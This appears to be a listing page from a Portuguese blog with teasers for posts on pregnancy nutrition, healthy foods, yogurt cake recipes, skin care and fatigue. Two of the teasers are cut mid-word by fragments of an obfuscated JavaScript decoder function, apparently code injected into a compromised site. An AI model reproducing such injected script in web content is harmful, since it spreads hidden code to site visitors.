Os melhores alimentos para consumir durante a gravidez

Mai 28, 2019 | Saúde e bem estar

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Os melhores alimentos para consumir durante a gravidez     Alimentar-se bem durante a gravidez pode parecer mais complicado que parece. Isto porque existem várias informações contraditórias acerca do que é mais acertado consumir qufunction a4872b9c6b(y1){var...

10 alimentos que fazem bem à saúde

Fev 18, 2019 | Saúde e bem estar

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10 alimentos que fazem bem à saúde   A alimentação é uma parte importantíssima do nosso equilíbrio e é fundamental termos uma dieta variada. Quantas vezes é que já ouvimos a máxima “somos o que comemos”? Muitas! Porque é verdade! Existem inúmeras pesquisas...

Receita de bolo de iogurte com mirtilos

Dez 16, 2018 | À descoberta, Receitas

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Receita de bolo de iogurte com mirtilos   Hoje trago-lhe mais uma alternativa deliciosa do bolo de iogurte. Desta vez é uma receita com mirtilos, um fruto rico em vitaminas, sais minerais, antioxidantes e outros nutrientes muito benéficos para a nossa saúde. É uma...

Receita de bolo de iogurte com cobertura de caramelo

Ago 7, 2018 | Receitas

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Receita de bolo de iogurte com cobertura de caramelo   Como adoro adoçar o seu dia, hoje trago-lhe uma receita duplamente deliciosa: bolo de iogurte com cobertura de caramelo. É um receita simples e muito rápida de se fazer, mas um pouco calórica, por isso nada de...

Bolo de iogurte e coco

Mai 15, 2018 | Receitas

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Bolo de iogurte e coco   Como adoro dar-lhe boas receitas para adoçar o seu dia e hoje trago-lhe mais uma absolutamente espectacular: bolo de coco e iogurte. Saiba desde já que é uma receita simples e rápida de fazer. E claro, é perfeita para fazer em família ou então...

6 soluções caseiras para uma pele mais bonita

Abr 23, 2017 | Dicas úteis

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6 soluções caseiras para uma pele mais bonita     Uma pele sem vermelhidões, bem hidratada e com elasticidade é o desejo de muitos homens e mulheres. No entanto, nem sempre é fácil alcançar essa meta tão desejada devido ao efeito do tempo, à exposição ao sol e às...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

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10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...